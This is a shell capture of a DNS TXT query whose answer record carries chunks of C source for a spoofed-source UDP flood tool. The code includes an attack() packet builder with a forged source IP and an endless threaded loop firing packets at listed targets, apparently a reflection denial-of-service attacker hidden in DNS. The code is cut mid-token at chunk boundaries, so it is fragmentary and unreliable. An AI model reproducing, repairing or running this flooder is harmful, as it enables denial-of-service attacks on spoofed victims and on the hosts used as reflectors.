$ drill -t txt j.mpnp.info ; ->>HEADER<<- opcode: QUERY, rcode: NOERROR, id: 2512 ;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;; j.mpnp.info. IN TXT ;; ANSWER SECTION: j.mpnp.info. 21553 IN TXT "void attack(unsigned long srcip, int srcport, unsigned long destip, int destport, char *message){int s = socket (PF_INET, SOCK_RAW, IPPROTO_UDP);char packet[4096];struct iphdr *iph = (struct iphdr *)packet;structtcphd" ">" "struct sockaddr_in sin;struct pseudo_header psh;sin.sin_family = AF_INET;sin.sin_port = htons(destport);sin.sin_addr.s_addr = destip; memset (packet, 0, 4096);iph->ihl = 5;iph->version = 4;iph->tos = 16;iph->tot_len = sizeof (struct ip) + sizeof (s" ">" "iph->id = htonl (54321); iph->frag_off = 0;iph->ttl = 255;iph->protocol = IPPROTO_UDP;iph->check = 0;iph->saddr = srcip;iph->daddr = sin.sin_addr.s_addr;udph->source = htons(srcport);strncpy((char *)udph + sizeof (struct udphdr),message, 4096 - (si" ">" "void *thread_attack(void *thread_params){struct pthread_param *params = thread_params; int i; while (1)for (i = 0; i < params->list_size; i++)attack(params->victim_ip, rand() % 65534 + 1, params->list[i].ip, params->list[i].port, params->message);" ">" "printf(Usage: %s